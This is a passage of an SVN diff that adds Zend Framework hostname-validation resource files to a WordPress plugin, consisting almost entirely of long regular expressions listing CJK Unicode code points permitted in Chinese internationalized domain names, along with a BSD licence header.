+'\x{994C}\x{994E}\x{994F}\x{9950}\x{9951}\x{9952}\x{9953}\x{9954}\x{9955}' .
+'\x{9956}\x{9957}\x{9958}\x{9959}\x{995B}\x{995C}\x{995E}\x{995F}\x{9960}' .
+'\x{9961}\x{9962}\x{9963}\x{9964}\x{9965}\x{9966}\x{9967}\x{9968}\x{9969}' .
+'\x{996A}\x{996B}\x{996C}\x{996D}\x{996E}\x{996F}\x{9970}\x{9971}\x{9972}' .
+'\x{9973}\x{9974}\x{9975}\x{9976}\x{9977}\x{9978}\x{9979}\x{997A}\x{997B}' .
+'\x{997C}\x{997D}\x{997E}\x{997F}\x{9980}\x{9981}\x{9982}\x{9983}\x{9984}' .
+'\x{9985}\x{9986}\x{9987}\x{9988}\x{9989}\x{998A}\x{998B}\x{998C}\x{998D}' .
+'\x{998E}\x{998F}\x{9990}\x{9991}\x{9992}\x{9993}\x{9994}\x{9995}\x{9996}' .
+'\x{9997}\x{9998}\x{9999}\x{999A}\x{999B}\x{999C}\x{999D}\x{999E}\x{999F}' .
+'\x{99A0}\x{99A1}\x{99A2}\x{99A3}\x{99A4}\x{99A5}\x{99A6}\x{99A7}\x{99A8}' .
+'\x{99A9}\x{99AA}\x{99AB}\x{99AC}\x{99AD}\x{99AE}\x{99AF}\x{99B0}\x{99B1}' .
+'\x{99B2}\x{99B3}\x{99B4}\x{99B5}\x{99B6}\x{99B7}\x{99B8}\x{99B9}\x{99BA}' .
+'\x{99BB}\x{99BC}\x{99BD}\x{99BE}\x{99C0}\x{99C1}\x{99C2}\x{99C3}\x{99C4}' .
+'\x{99C6}\x{99C7}\x{99C8}\x{99C9}\x{99CA}\x{99CB}\x{99CC}\x{99CD}\x{99CE}' .
+'\x{99CF}\x{99D0}\x{99D1}\x{99D2}\x{99D3}\x{99D4}\x{99D5}\x{99D6}\x{99D7}' .
+'\x{99D8}\x{99D9}\x{99DA}\x{99DB}\x{99DC}\x{99DD}\x{99DE}\x{99DF}\x{99E1}' .
+'\x{99E2}\x{99E3}\x{99E4}\x{99E5}\x{99E7}\x{99E8}\x{99E9}\x{99EA}\x{99EC}' .
+'\x{99ED}\x{99EE}\x{99EF}\x{99F0}\x{99F1}\x{99F2}\x{99F3}\x{99F4}\x{99F6}' .
+'\x{99F7}\x{99F8}\x{99F9}\x{99FA}\x{99FB}\x{99FC}\x{99FD}\x{99FE}\x{99FF}' .
+'\x{9A00}\x{9A01}\x{9A02}\x{9A03}\x{9A04}\x{9A05}\x{9A06}\x{9A07}\x{9A08}' .
+'\x{9A09}\x{9A0A}\x{9A0B}\x{9A0C}\x{9A0D}\x{9A0E}\x{9A0F}\x{9A11}\x{9A14}' .
+'\x{9A15}\x{9A16}\x{9A19}\x{9A1A}\x{9A1B}\x{9A1C}\x{9A1D}\x{9A1E}\x{9A1F}' .
+'\x{9A20}\x{9A21}\x{9A22}\x{9A23}\x{9A24}\x{9A25}\x{9A26}\x{9A27}\x{9A29}' .
+'\x{9A2A}\x{9A2B}\x{9A2C}\x{9A2D}\x{9A2E}\x{9A2F}\x{9A30}\x{9A31}\x{9A32}' .
+'\x{9A33}\x{9A34}\x{9A35}\x{9A36}\x{9A37}\x{9A38}\x{9A39}\x{9A3A}\x{9A3C}' .
+'\x{9A3D}\x{9A3E}\x{9A3F}\x{9A40}\x{9A41}\x{9A42}\x{9A43}\x{9A44}\x{9A45}' .
+'\x{9A46}\x{9A47}\x{9A48}\x{9A49}\x{9A4A}\x{9A4B}\x{9A4C}\x{9A4D}\x{9A4E}' .
+'\x{9A4F}\x{9A50}\x{9A52}\x{9A53}\x{9A54}\x{9A55}\x{9A56}\x{9A57}\x{9A59}' .
+'\x{9A5A}\x{9A5B}\x{9A5C}\x{9A5E}\x{9A5F}\x{9A60}\x{9A61}\x{9A62}\x{9A64}' .
+'\x{9A65}\x{9A66}\x{9A67}\x{9A68}\x{9A69}\x{9A6A}\x{9A6B}\x{9A6C}\x{9A6D}' .
+'\x{9A6E}\x{9A6F}\x{9A70}\x{9A71}\x{9A72}\x{9A73}\x{9A74}\x{9A75}\x{9A76}' .
+'\x{9A77}\x{9A78}\x{9A79}\x{9A7A}\x{9A7B}\x{9A7C}\x{9A7D}\x{9A7E}\x{9A7F}' .
+'\x{9A80}\x{9A81}\x{9A82}\x{9A83}\x{9A84}\x{9A85}\x{9A86}\x{9A87}\x{9A88}' .
+'\x{9A89}\x{9A8A}\x{9A8B}\x{9A8C}\x{9A8D}\x{9A8E}\x{9A8F}\x{9A90}\x{9A91}' .
+'\x{9A92}\x{9A93}\x{9A94}\x{9A95}\x{9A96}\x{9A97}\x{9A98}\x{9A99}\x{9A9A}' .
+'\x{9A9B}\x{9A9C}\x{9A9D}\x{9A9E}\x{9A9F}\x{9AA0}\x{9AA1}\x{9AA2}\x{9AA3}' .
+'\x{9AA4}\x{9AA5}\x{9AA6}\x{9AA7}\x{9AA8}\x{9AAA}\x{9AAB}\x{9AAC}\x{9AAD}' .
+'\x{9AAE}\x{9AAF}\x{9AB0}\x{9AB1}\x{9AB2}\x{9AB3}\x{9AB4}\x{9AB5}\x{9AB6}' .
+'\x{9AB7}\x{9AB8}\x{9AB9}\x{9ABA}\x{9ABB}\x{9ABC}\x{9ABE}\x{9ABF}\x{9AC0}' .
+'\x{9AC1}\x{9AC2}\x{9AC3}\x{9AC4}\x{9AC5}\x{9AC6}\x{9AC7}\x{9AC9}\x{9ACA}' .
+'\x{9ACB}\x{9ACC}\x{9ACD}\x{9ACE}\x{9ACF}\x{9AD0}\x{9AD1}\x{9AD2}\x{9AD3}' .
+'\x{9AD4}\x{9AD5}\x{9AD6}\x{9AD8}\x{9AD9}\x{9ADA}\x{9ADB}\x{9ADC}\x{9ADD}' .
+'\x{9ADE}\x{9ADF}\x{9AE1}\x{9AE2}\x{9AE3}\x{9AE5}\x{9AE6}\x{9AE7}\x{9AEA}' .
+'\x{9AEB}\x{9AEC}\x{9AED}\x{9AEE}\x{9AEF}\x{9AF1}\x{9AF2}\x{9AF3}\x{9AF4}' .
+'\x{9AF5}\x{9AF6}\x{9AF7}\x{9AF8}\x{9AF9}\x{9AFA}\x{9AFB}\x{9AFC}\x{9AFD}' .
+'\x{9AFE}\x{9AFF}\x{9B01}\x{9B03}\x{9B04}\x{9B05}\x{9B06}\x{9B07}\x{9B08}' .
+'\x{9B0A}\x{9B0B}\x{9B0C}\x{9B0D}\x{9B0E}\x{9B0F}\x{9B10}\x{9B11}\x{9B12}' .
+'\x{9B13}\x{9B15}\x{9B16}\x{9B17}\x{9B18}\x{9B19}\x{9B1A}\x{9B1C}\x{9B1D}' .
+'\x{9B1E}\x{9B1F}\x{9B20}\x{9B21}\x{9B22}\x{9B23}\x{9B24}\x{9B25}\x{9B26}' .
+'\x{9B27}\x{9B28}\x{9B29}\x{9B2A}\x{9B2B}\x{9B2C}\x{9B2D}\x{9B2E}\x{9B2F}' .
+'\x{9B30}\x{9B31}\x{9B32}\x{9B33}\x{9B35}\x{9B36}\x{9B37}\x{9B38}\x{9B39}' .
+'\x{9B3A}\x{9B3B}\x{9B3C}\x{9B3E}\x{9B3F}\x{9B41}\x{9B42}\x{9B43}\x{9B44}' .
+'\x{9B45}\x{9B46}\x{9B47}\x{9B48}\x{9B49}\x{9B4A}\x{9B4B}\x{9B4C}\x{9B4D}' .
+'\x{9B4E}\x{9B4F}\x{9B51}\x{9B52}\x{9B53}\x{9B54}\x{9B55}\x{9B56}\x{9B58}' .
+'\x{9B59}\x{9B5A}\x{9B5B}\x{9B5C}\x{9B5D}\x{9B5E}\x{9B5F}\x{9B60}\x{9B61}' .
+'\x{9B63}\x{9B64}\x{9B65}\x{9B66}\x{9B67}\x{9B68}\x{9B69}\x{9B6A}\x{9B6B}' .
+'\x{9B6C}\x{9B6D}\x{9B6E}\x{9B6F}\x{9B70}\x{9B71}\x{9B73}\x{9B74}\x{9B75}' .
+'\x{9B76}\x{9B77}\x{9B78}\x{9B79}\x{9B7A}\x{9B7B}\x{9B7C}\x{9B7D}\x{9B7E}' .
+'\x{9B7F}\x{9B80}\x{9B81}\x{9B82}\x{9B83}\x{9B84}\x{9B85}\x{9B86}\x{9B87}' .
+'\x{9B88}\x{9B8A}\x{9B8B}\x{9B8D}\x{9B8E}\x{9B8F}\x{9B90}\x{9B91}\x{9B92}' .
+'\x{9B93}\x{9B94}\x{9B95}\x{9B96}\x{9B97}\x{9B98}\x{9B9A}\x{9B9B}\x{9B9C}' .
+'\x{9B9D}\x{9B9E}\x{9B9F}\x{9BA0}\x{9BA1}\x{9BA2}\x{9BA3}\x{9BA4}\x{9BA5}' .
+'\x{9BA6}\x{9BA7}\x{9BA8}\x{9BA9}\x{9BAA}\x{9BAB}\x{9BAC}\x{9BAD}\x{9BAE}' .
+'\x{9BAF}\x{9BB0}\x{9BB1}\x{9BB2}\x{9BB3}\x{9BB4}\x{9BB5}\x{9BB6}\x{9BB7}' .
+'\x{9BB8}\x{9BB9}\x{9BBA}\x{9BBB}\x{9BBC}\x{9BBD}\x{9BBE}\x{9BBF}\x{9BC0}' .
+'\x{9BC1}\x{9BC3}\x{9BC4}\x{9BC5}\x{9BC6}\x{9BC7}\x{9BC8}\x{9BC9}\x{9BCA}' .
+'\x{9BCB}\x{9BCC}\x{9BCD}\x{9BCE}\x{9BCF}\x{9BD0}\x{9BD1}\x{9BD2}\x{9BD3}' .
+'\x{9BD4}\x{9BD5}\x{9BD6}\x{9BD7}\x{9BD8}\x{9BD9}\x{9BDA}\x{9BDB}\x{9BDC}' .
+'\x{9BDD}\x{9BDE}\x{9BDF}\x{9BE0}\x{9BE1}\x{9BE2}\x{9BE3}\x{9BE4}\x{9BE5}' .
+'\x{9BE6}\x{9BE7}\x{9BE8}\x{9BE9}\x{9BEA}\x{9BEB}\x{9BEC}\x{9BED}\x{9BEE}' .
+'\x{9BEF}\x{9BF0}\x{9BF1}\x{9BF2}\x{9BF3}\x{9BF4}\x{9BF5}\x{9BF7}\x{9BF8}' .
+'\x{9BF9}\x{9BFA}\x{9BFB}\x{9BFC}\x{9BFD}\x{9BFE}\x{9BFF}\x{9C02}\x{9C05}' .
+'\x{9C06}\x{9C07}\x{9C08}\x{9C09}\x{9C0A}\x{9C0B}\x{9C0C}\x{9C0D}\x{9C0E}' .
+'\x{9C0F}\x{9C10}\x{9C11}\x{9C12}\x{9C13}\x{9C14}\x{9C15}\x{9C16}\x{9C17}' .
+'\x{9C18}\x{9C19}\x{9C1A}\x{9C1B}\x{9C1C}\x{9C1D}\x{9C1E}\x{9C1F}\x{9C20}' .
+'\x{9C21}\x{9C22}\x{9C23}\x{9C24}\x{9C25}\x{9C26}\x{9C27}\x{9C28}\x{9C29}' .
+'\x{9C2A}\x{9C2B}\x{9C2C}\x{9C2D}\x{9C2F}\x{9C30}\x{9C31}\x{9C32}\x{9C33}' .
+'\x{9C34}\x{9C35}\x{9C36}\x{9C37}\x{9C38}\x{9C39}\x{9C3A}\x{9C3B}\x{9C3C}' .
+'\x{9C3D}\x{9C3E}\x{9C3F}\x{9C40}\x{9C41}\x{9C43}\x{9C44}\x{9C45}\x{9C46}' .
+'\x{9C47}\x{9C48}\x{9C49}\x{9C4A}\x{9C4B}\x{9C4C}\x{9C4D}\x{9C4E}\x{9C50}' .
+'\x{9C52}\x{9C53}\x{9C54}\x{9C55}\x{9C56}\x{9C57}\x{9C58}\x{9C59}\x{9C5A}' .
+'\x{9C5B}\x{9C5C}\x{9C5D}\x{9C5E}\x{9C5F}\x{9C60}\x{9C62}\x{9C63}\x{9C65}' .
+'\x{9C66}\x{9C67}\x{9C68}\x{9C69}\x{9C6A}\x{9C6B}\x{9C6C}\x{9C6D}\x{9C6E}' .
+'\x{9C6F}\x{9C70}\x{9C71}\x{9C72}\x{9C73}\x{9C74}\x{9C75}\x{9C77}\x{9C78}' .
+'\x{9C79}\x{9C7A}\x{9C7C}\x{9C7D}\x{9C7E}\x{9C7F}\x{9C80}\x{9C81}\x{9C82}' .
+'\x{9C83}\x{9C84}\x{9C85}\x{9C86}\x{9C87}\x{9C88}\x{9C89}\x{9C8A}\x{9C8B}' .
+'\x{9C8C}\x{9C8D}\x{9C8E}\x{9C8F}\x{9C90}\x{9C91}\x{9C92}\x{9C93}\x{9C94}' .
+'\x{9C95}\x{9C96}\x{9C97}\x{9C98}\x{9C99}\x{9C9A}\x{9C9B}\x{9C9C}\x{9C9D}' .
+'\x{9C9E}\x{9C9F}\x{9CA0}\x{9CA1}\x{9CA2}\x{9CA3}\x{9CA4}\x{9CA5}\x{9CA6}' .
+'\x{9CA7}\x{9CA8}\x{9CA9}\x{9CAA}\x{9CAB}\x{9CAC}\x{9CAD}\x{9CAE}\x{9CAF}' .
+'\x{9CB0}\x{9CB1}\x{9CB2}\x{9CB3}\x{9CB4}\x{9CB5}\x{9CB6}\x{9CB7}\x{9CB8}' .
+'\x{9CB9}\x{9CBA}\x{9CBB}\x{9CBC}\x{9CBD}\x{9CBE}\x{9CBF}\x{9CC0}\x{9CC1}' .
+'\x{9CC2}\x{9CC3}\x{9CC4}\x{9CC5}\x{9CC6}\x{9CC7}\x{9CC8}\x{9CC9}\x{9CCA}' .
+'\x{9CCB}\x{9CCC}\x{9CCD}\x{9CCE}\x{9CCF}\x{9CD0}\x{9CD1}\x{9CD2}\x{9CD3}' .
+'\x{9CD4}\x{9CD5}\x{9CD6}\x{9CD7}\x{9CD8}\x{9CD9}\x{9CDA}\x{9CDB}\x{9CDC}' .
+'\x{9CDD}\x{9CDE}\x{9CDF}\x{9CE0}\x{9CE1}\x{9CE2}\x{9CE3}\x{9CE4}\x{9CE5}' .
+'\x{9CE6}\x{9CE7}\x{9CE8}\x{9CE9}\x{9CEA}\x{9CEB}\x{9CEC}\x{9CED}\x{9CEE}' .
+'\x{9CEF}\x{9CF0}\x{9CF1}\x{9CF2}\x{9CF3}\x{9CF4}\x{9CF5}\x{9CF6}\x{9CF7}' .
+'\x{9CF8}\x{9CF9}\x{9CFA}\x{9CFB}\x{9CFC}\x{9CFD}\x{9CFE}\x{9CFF}\x{9D00}' .
+'\x{9D01}\x{9D02}\x{9D03}\x{9D04}\x{9D05}\x{9D06}\x{9D07}\x{9D08}\x{9D09}' .
+'\x{9D0A}\x{9D0B}\x{9D0F}\x{9D10}\x{9D12}\x{9D13}\x{9D14}\x{9D15}\x{9D16}' .
+'\x{9D17}\x{9D18}\x{9D19}\x{9D1A}\x{9D1B}\x{9D1C}\x{9D1D}\x{9D1E}\x{9D1F}' .
+'\x{9D20}\x{9D21}\x{9D22}\x{9D23}\x{9D24}\x{9D25}\x{9D26}\x{9D28}\x{9D29}' .
+'\x{9D2B}\x{9D2D}\x{9D2E}\x{9D2F}\x{9D30}\x{9D31}\x{9D32}\x{9D33}\x{9D34}' .
+'\x{9D36}\x{9D37}\x{9D38}\x{9D39}\x{9D3A}\x{9D3B}\x{9D3D}\x{9D3E}\x{9D3F}' .
+'\x{9D40}\x{9D41}\x{9D42}\x{9D43}\x{9D45}\x{9D46}\x{9D47}\x{9D48}\x{9D49}' .
+'\x{9D4A}\x{9D4B}\x{9D4C}\x{9D4D}\x{9D4E}\x{9D4F}\x{9D50}\x{9D51}\x{9D52}' .
+'\x{9D53}\x{9D54}\x{9D55}\x{9D56}\x{9D57}\x{9D58}\x{9D59}\x{9D5A}\x{9D5B}' .
+'\x{9D5C}\x{9D5D}\x{9D5E}\x{9D5F}\x{9D60}\x{9D61}\x{9D62}\x{9D63}\x{9D64}' .
+'\x{9D65}\x{9D66}\x{9D67}\x{9D68}\x{9D69}\x{9D6A}\x{9D6B}\x{9D6C}\x{9D6E}' .
+'\x{9D6F}\x{9D70}\x{9D71}\x{9D72}\x{9D73}\x{9D74}\x{9D75}\x{9D76}\x{9D77}' .
+'\x{9D78}\x{9D79}\x{9D7A}\x{9D7B}\x{9D7C}\x{9D7D}\x{9D7E}\x{9D7F}\x{9D80}' .
+'\x{9D81}\x{9D82}\x{9D83}\x{9D84}\x{9D85}\x{9D86}\x{9D87}\x{9D88}\x{9D89}' .
+'\x{9D8A}\x{9D8B}\x{9D8C}\x{9D8D}\x{9D8E}\x{9D90}\x{9D91}\x{9D92}\x{9D93}' .
+'\x{9D94}\x{9D96}\x{9D97}\x{9D98}\x{9D99}\x{9D9A}\x{9D9B}\x{9D9C}\x{9D9D}' .
+'\x{9D9E}\x{9D9F}\x{9DA0}\x{9DA1}\x{9DA2}\x{9DA3}\x{9DA4}\x{9DA5}\x{9DA6}' .
+'\x{9DA7}\x{9DA8}\x{9DA9}\x{9DAA}\x{9DAB}\x{9DAC}\x{9DAD}\x{9DAF}\x{9DB0}' .
+'\x{9DB1}\x{9DB2}\x{9DB3}\x{9DB4}\x{9DB5}\x{9DB6}\x{9DB7}\x{9DB8}\x{9DB9}' .
+'\x{9DBA}\x{9DBB}\x{9DBC}\x{9DBE}\x{9DBF}\x{9DC1}\x{9DC2}\x{9DC3}\x{9DC4}' .
+'\x{9DC5}\x{9DC7}\x{9DC8}\x{9DC9}\x{9DCA}\x{9DCB}\x{9DCC}\x{9DCD}\x{9DCE}' .
+'\x{9DCF}\x{9DD0}\x{9DD1}\x{9DD2}\x{9DD3}\x{9DD4}\x{9DD5}\x{9DD6}\x{9DD7}' .
+'\x{9DD8}\x{9DD9}\x{9DDA}\x{9DDB}\x{9DDC}\x{9DDD}\x{9DDE}\x{9DDF}\x{9DE0}' .
+'\x{9DE1}\x{9DE2}\x{9DE3}\x{9DE4}\x{9DE5}\x{9DE6}\x{9DE7}\x{9DE8}\x{9DE9}' .
+'\x{9DEB}\x{9DEC}\x{9DED}\x{9DEE}\x{9DEF}\x{9DF0}\x{9DF1}\x{9DF2}\x{9DF3}' .
+'\x{9DF4}\x{9DF5}\x{9DF6}\x{9DF7}\x{9DF8}\x{9DF9}\x{9DFA}\x{9DFB}\x{9DFD}' .
+'\x{9DFE}\x{9DFF}\x{9E00}\x{9E01}\x{9E02}\x{9E03}\x{9E04}\x{9E05}\x{9E06}' .
+'\x{9E07}\x{9E08}\x{9E09}\x{9E0A}\x{9E0B}\x{9E0C}\x{9E0D}\x{9E0F}\x{9E10}' .
+'\x{9E11}\x{9E12}\x{9E13}\x{9E14}\x{9E15}\x{9E17}\x{9E18}\x{9E19}\x{9E1A}' .
+'\x{9E1B}\x{9E1D}\x{9E1E}\x{9E1F}\x{9E20}\x{9E21}\x{9E22}\x{9E23}\x{9E24}' .
+'\x{9E25}\x{9E26}\x{9E27}\x{9E28}\x{9E29}\x{9E2A}\x{9E2B}\x{9E2C}\x{9E2D}' .
+'\x{9E2E}\x{9E2F}\x{9E30}\x{9E31}\x{9E32}\x{9E33}\x{9E34}\x{9E35}\x{9E36}' .
+'\x{9E37}\x{9E38}\x{9E39}\x{9E3A}\x{9E3B}\x{9E3C}\x{9E3D}\x{9E3E}\x{9E3F}' .
+'\x{9E40}\x{9E41}\x{9E42}\x{9E43}\x{9E44}\x{9E45}\x{9E46}\x{9E47}\x{9E48}' .
+'\x{9E49}\x{9E4A}\x{9E4B}\x{9E4C}\x{9E4D}\x{9E4E}\x{9E4F}\x{9E50}\x{9E51}' .
+'\x{9E52}\x{9E53}\x{9E54}\x{9E55}\x{9E56}\x{9E57}\x{9E58}\x{9E59}\x{9E5A}' .
+'\x{9E5B}\x{9E5C}\x{9E5D}\x{9E5E}\x{9E5F}\x{9E60}\x{9E61}\x{9E62}\x{9E63}' .
+'\x{9E64}\x{9E65}\x{9E66}\x{9E67}\x{9E68}\x{9E69}\x{9E6A}\x{9E6B}\x{9E6C}' .
+'\x{9E6D}\x{9E6E}\x{9E6F}\x{9E70}\x{9E71}\x{9E72}\x{9E73}\x{9E74}\x{9E75}' .
+'\x{9E76}\x{9E77}\x{9E79}\x{9E7A}\x{9E7C}\x{9E7D}\x{9E7E}\x{9E7F}\x{9E80}' .
+'\x{9E81}\x{9E82}\x{9E83}\x{9E84}\x{9E85}\x{9E86}\x{9E87}\x{9E88}\x{9E89}' .
+'\x{9E8A}\x{9E8B}\x{9E8C}\x{9E8D}\x{9E8E}\x{9E91}\x{9E92}\x{9E93}\x{9E94}' .
+'\x{9E96}\x{9E97}\x{9E99}\x{9E9A}\x{9E9B}\x{9E9C}\x{9E9D}\x{9E9F}\x{9EA0}' .
+'\x{9EA1}\x{9EA3}\x{9EA4}\x{9EA5}\x{9EA6}\x{9EA7}\x{9EA8}\x{9EA9}\x{9EAA}' .
+'\x{9EAD}\x{9EAE}\x{9EAF}\x{9EB0}\x{9EB2}\x{9EB3}\x{9EB4}\x{9EB5}\x{9EB6}' .
+'\x{9EB7}\x{9EB8}\x{9EBB}\x{9EBC}\x{9EBD}\x{9EBE}\x{9EBF}\x{9EC0}\x{9EC1}' .
+'\x{9EC2}\x{9EC3}\x{9EC4}\x{9EC5}\x{9EC6}\x{9EC7}\x{9EC8}\x{9EC9}\x{9ECA}' .
+'\x{9ECB}\x{9ECC}\x{9ECD}\x{9ECE}\x{9ECF}\x{9ED0}\x{9ED1}\x{9ED2}\x{9ED3}' .
+'\x{9ED4}\x{9ED5}\x{9ED6}\x{9ED7}\x{9ED8}\x{9ED9}\x{9EDA}\x{9EDB}\x{9EDC}' .
+'\x{9EDD}\x{9EDE}\x{9EDF}\x{9EE0}\x{9EE1}\x{9EE2}\x{9EE3}\x{9EE4}\x{9EE5}' .
+'\x{9EE6}\x{9EE7}\x{9EE8}\x{9EE9}\x{9EEA}\x{9EEB}\x{9EED}\x{9EEE}\x{9EEF}' .
+'\x{9EF0}\x{9EF2}\x{9EF3}\x{9EF4}\x{9EF5}\x{9EF6}\x{9EF7}\x{9EF8}\x{9EF9}' .
+'\x{9EFA}\x{9EFB}\x{9EFC}\x{9EFD}\x{9EFE}\x{9EFF}\x{9F00}\x{9F01}\x{9F02}' .
+'\x{9F04}\x{9F05}\x{9F06}\x{9F07}\x{9F08}\x{9F09}\x{9F0A}\x{9F0B}\x{9F0C}' .
+'\x{9F0D}\x{9F0E}\x{9F0F}\x{9F10}\x{9F12}\x{9F13}\x{9F15}\x{9F16}\x{9F17}' .
+'\x{9F18}\x{9F19}\x{9F1A}\x{9F1B}\x{9F1C}\x{9F1D}\x{9F1E}\x{9F1F}\x{9F20}' .
+'\x{9F22}\x{9F23}\x{9F24}\x{9F25}\x{9F27}\x{9F28}\x{9F29}\x{9F2A}\x{9F2B}' .
+'\x{9F2C}\x{9F2D}\x{9F2E}\x{9F2F}\x{9F30}\x{9F31}\x{9F32}\x{9F33}\x{9F34}' .
+'\x{9F35}\x{9F36}\x{9F37}\x{9F38}\x{9F39}\x{9F3A}\x{9F3B}\x{9F3C}\x{9F3D}' .
+'\x{9F3E}\x{9F3F}\x{9F40}\x{9F41}\x{9F42}\x{9F43}\x{9F44}\x{9F46}\x{9F47}' .
+'\x{9F48}\x{9F49}\x{9F4A}\x{9F4B}\x{9F4C}\x{9F4D}\x{9F4E}\x{9F4F}\x{9F50}' .
+'\x{9F51}\x{9F52}\x{9F54}\x{9F55}\x{9F56}\x{9F57}\x{9F58}\x{9F59}\x{9F5A}' .
+'\x{9F5B}\x{9F5C}\x{9F5D}\x{9F5E}\x{9F5F}\x{9F60}\x{9F61}\x{9F63}\x{9F64}' .
+'\x{9F65}\x{9F66}\x{9F67}\x{9F68}\x{9F69}\x{9F6A}\x{9F6B}\x{9F6C}\x{9F6E}' .
+'\x{9F6F}\x{9F70}\x{9F71}\x{9F72}\x{9F73}\x{9F74}\x{9F75}\x{9F76}\x{9F77}' .
+'\x{9F78}\x{9F79}\x{9F7A}\x{9F7B}\x{9F7C}\x{9F7D}\x{9F7E}\x{9F7F}\x{9F80}' .
+'\x{9F81}\x{9F82}\x{9F83}\x{9F84}\x{9F85}\x{9F86}\x{9F87}\x{9F88}\x{9F89}' .
+'\x{9F8A}\x{9F8B}\x{9F8C}\x{9F8D}\x{9F8E}\x{9F8F}\x{9F90}\x{9F91}\x{9F92}' .
+'\x{9F93}\x{9F94}\x{9F95}\x{9F96}\x{9F97}\x{9F98}\x{9F99}\x{9F9A}\x{9F9B}' .
+'\x{9F9C}\x{9F9D}\x{9F9E}\x{9F9F}\x{9FA0}\x{9FA2}\x{9FA4}\x{9FA5}]{1,20}$/iu');
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname/Cn.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname/Cn.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname/Cn.php	(revision 44)
@@ -0,0 +1,2199 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Hostname.php 14417 2009-03-21 22:27:38Z thomas $
+ */
+
+/**
+ * Ressource file for chinese idn validation
+ *
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+return array(
+    1  => '/^[\x{002d}0-9a-z\x{3447}\x{3473}\x{359E}\x{360E}\x{361A}\x{3918}\x{396E}\x{39CF}\x{39D0}' .
+'\x{39DF}\x{3A73}\x{3B4E}\x{3C6E}\x{3CE0}\x{4056}\x{415F}\x{4337}\x{43AC}' .
+'\x{43B1}\x{43DD}\x{44D6}\x{464C}\x{4661}\x{4723}\x{4729}\x{477C}\x{478D}' .
+'\x{4947}\x{497A}\x{497D}\x{4982}\x{4983}\x{4985}\x{4986}\x{499B}\x{499F}' .
+'\x{49B6}\x{49B7}\x{4C77}\x{4C9F}\x{4CA0}\x{4CA1}\x{4CA2}\x{4CA3}\x{4D13}' .
+'\x{4D14}\x{4D15}\x{4D16}\x{4D17}\x{4D18}\x{4D19}\x{4DAE}\x{4E00}\x{4E01}' .
+'\x{4E02}\x{4E03}\x{4E04}\x{4E05}\x{4E06}\x{4E07}\x{4E08}\x{4E09}\x{4E0A}' .
+'\x{4E0B}\x{4E0C}\x{4E0D}\x{4E0E}\x{4E0F}\x{4E10}\x{4E11}\x{4E13}\x{4E14}' .
+'\x{4E15}\x{4E16}\x{4E17}\x{4E18}\x{4E19}\x{4E1A}\x{4E1B}\x{4E1C}\x{4E1D}' .
+'\x{4E1E}\x{4E1F}\x{4E20}\x{4E21}\x{4E22}\x{4E23}\x{4E24}\x{4E25}\x{4E26}' .
+'\x{4E27}\x{4E28}\x{4E2A}\x{4E2B}\x{4E2C}\x{4E2D}\x{4E2E}\x{4E2F}\x{4E30}' .
+'\x{4E31}\x{4E32}\x{4E33}\x{4E34}\x{4E35}\x{4E36}\x{4E37}\x{4E38}\x{4E39}' .
+'\x{4E3A}\x{4E3B}\x{4E3C}\x{4E3D}\x{4E3E}\x{4E3F}\x{4E40}\x{4E41}\x{4E42}' .
+'\x{4E43}\x{4E44}\x{4E45}\x{4E46}\x{4E47}\x{4E48}\x{4E49}\x{4E4A}\x{4E4B}' .
+'\x{4E4C}\x{4E4D}\x{4E4E}\x{4E4F}\x{4E50}\x{4E51}\x{4E52}\x{4E53}\x{4E54}' .
+'\x{4E56}\x{4E57}\x{4E58}\x{4E59}\x{4E5A}\x{4E5B}\x{4E5C}\x{4E5D}\x{4E5E}' .
+'\x{4E5F}\x{4E60}\x{4E61}\x{4E62}\x{4E63}\x{4E64}\x{4E65}\x{4E66}\x{4E67}' .
+'\x{4E69}\x{4E6A}\x{4E6B}\x{4E6C}\x{4E6D}\x{4E6E}\x{4E6F}\x{4E70}\x{4E71}' .
+'\x{4E72}\x{4E73}\x{4E74}\x{4E75}\x{4E76}\x{4E77}\x{4E78}\x{4E7A}\x{4E7B}' .
+'\x{4E7C}\x{4E7D}\x{4E7E}\x{4E7F}\x{4E80}\x{4E81}\x{4E82}\x{4E83}\x{4E84}' .
+'\x{4E85}\x{4E86}\x{4E87}\x{4E88}\x{4E89}\x{4E8B}\x{4E8C}\x{4E8D}\x{4E8E}' .
+'\x{4E8F}\x{4E90}\x{4E91}\x{4E92}\x{4E93}\x{4E94}\x{4E95}\x{4E97}\x{4E98}' .
+'\x{4E99}\x{4E9A}\x{4E9B}\x{4E9C}\x{4E9D}\x{4E9E}\x{4E9F}\x{4EA0}\x{4EA1}' .
+'\x{4EA2}\x{4EA4}\x{4EA5}\x{4EA6}\x{4EA7}\x{4EA8}\x{4EA9}\x{4EAA}\x{4EAB}' .
+'\x{4EAC}\x{4EAD}\x{4EAE}\x{4EAF}\x{4EB0}\x{4EB1}\x{4EB2}\x{4EB3}\x{4EB4}' .
+'\x{4EB5}\x{4EB6}\x{4EB7}\x{4EB8}\x{4EB9}\x{4EBA}\x{4EBB}\x{4EBD}\x{4EBE}' .
+'\x{4EBF}\x{4EC0}\x{4EC1}\x{4EC2}\x{4EC3}\x{4EC4}\x{4EC5}\x{4EC6}\x{4EC7}' .
+'\x{4EC8}\x{4EC9}\x{4ECA}\x{4ECB}\x{4ECD}\x{4ECE}\x{4ECF}\x{4ED0}\x{4ED1}' .
+'\x{4ED2}\x{4ED3}\x{4ED4}\x{4ED5}\x{4ED6}\x{4ED7}\x{4ED8}\x{4ED9}\x{4EDA}' .
